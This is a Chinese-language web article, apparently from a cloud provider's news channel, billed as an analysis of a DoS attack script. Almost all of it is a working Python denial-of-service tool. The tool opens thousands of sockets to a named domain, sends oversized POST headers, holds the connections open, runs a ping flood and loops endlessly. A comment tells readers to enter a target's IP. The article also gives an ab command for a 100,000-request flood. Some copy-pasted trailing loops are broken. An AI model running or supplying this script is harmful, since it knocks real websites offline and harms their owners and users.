小編給大家分享一下dos攻擊腳本的示例分析,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
#!/usr/bin/env python import socket import time import threading #Pressure Test,ddos tool #--------------------------- MAX_CONN=20000 PORT=80 HOST="www.zhaihongyu.tech"#在雙引號里輸入對方IP或域名,要保證他聯網了或開機了. PAGE="index.php" #--------------------------- buf=("POST %s HTTP/1.1\r\n" "Host: %s\r\n" "Content-Length: 10000000\r\n" "Cookie: dklkt_dos_test\r\n" "\r\n" % (PAGE,HOST)) import os os.system("ping -n 100 -l 100 " + HOST) socks=[] def ddos(): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) while 1: s.connect((HOST,PORT)) s.send(buf.encode()) s.send(buf.encode()) s.send(buf.encode()) def conn_thread(): global socks for i in range(0,MAX_CONN): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((HOST,PORT)) s.send(buf.encode()) s.send(buf.encode()) s.send(buf.encode()) print ("Send buf OK!,conn=%d\n"%i) socks.append(s) except Exception as ex: print ("Could not connect to server or send error:%s"%ex) time.sleep(0.1) #end def def send_thread(): global socks while True: for s in socks: try: s.send("f".encode()) #print "send OK!" except Exception as ex: print ("Send Exception:%s\n"%ex) socks.remove(s) s.close() time.sleep(0.1) #end def conn_th=threading.Thread(target=conn_thread,args=()) send_th=threading.Thread(target=send_thread,args=()) conn_th.start() send_th.start() ddos() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) while 1: s.connect((HOST,PORT)) s.send(buf.encode()) s.send(buf.encode()) s.send(buf.encode()) print ("Send buf OK!,conn=%d\n"%i) while 1: s.connect((HOST,PORT)) s.send(buf.encode()) s.send(buf.encode()) s.send(buf.encode()) print ("Send buf OK!,conn=%d\n"%i) while 1: s.connect((HOST,PORT)) s.send(buf.encode()) s.send(buf.encode()) s.send(buf.encode()) print ("Send buf OK!,conn=%d\n"%i) while 1: s.connect((HOST,PORT)) s.send(buf.encode()) s.send(buf.encode()) s.send(buf.encode()) print ("Send buf OK!,conn=%d\n"%i) while 1: s.connect((HOST,PORT)) s.send(buf.encode()) s.send(buf.encode()) s.send(buf.encode()) print ("Send buf OK!,conn=%d\n"%i) while 1: s.connect((HOST,PORT)) s.send(buf.encode()) s.send(buf.encode()) s.send(buf.encode()) print ("Send buf OK!,conn=%d\n"%i)
然后使用 ab 命令壓測它的服務器 ab命令:做壓力測試的工具和性能的監控工具 語法: ab -n 要產生的鏈接數總和 -c 同時打開的客戶端數量 http://鏈接
ab -n 100000 -c 200 http://www.zhaihongyu.tech/index.php
以上是“dos攻擊腳本的示例分析”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。